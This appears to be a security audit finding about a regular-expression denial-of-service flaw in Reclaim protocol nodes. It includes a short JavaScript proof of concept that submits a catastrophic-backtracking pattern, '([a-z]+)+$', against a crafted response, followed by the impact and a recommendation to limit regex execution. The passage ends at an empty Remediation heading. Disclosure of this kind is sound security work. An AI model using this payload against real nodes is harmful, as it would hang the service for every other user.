Description

Reclaim nodes can validate claim receipts using a regular expression (RegEx) provided by the user. The node does not place a limit on the time or complexity of the RegEx execution. This allows an attacker to perform a ReDoS attack by providing a RegEx and a website that the RegEx is matched on.

To test this vulnerability, we can use the following:

import { createClaim } from '@reclaimprotocol/reclaim-node'

const claim = await createClaim({
  name: 'http',
  params: {
    url: 'https://...', // responds with aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
    method: 'GET',
    responseMatches: [{
      type: 'regex',
      value: '([a-z]+)+$',
    }],
    responseRedactions: [],
  },
  secretParams: {
    cookieStr: 'a'
  },
  ownerPrivateKey: '0x...'
})

console.log(claim)

Impact

An attacker can cause the Reclaim node to hang indefinitely, preventing access from any other Reclaim user.

Recommendations

Reclaim should use a RegEx library that limits the time and complexity of the RegEx execution.

Remediation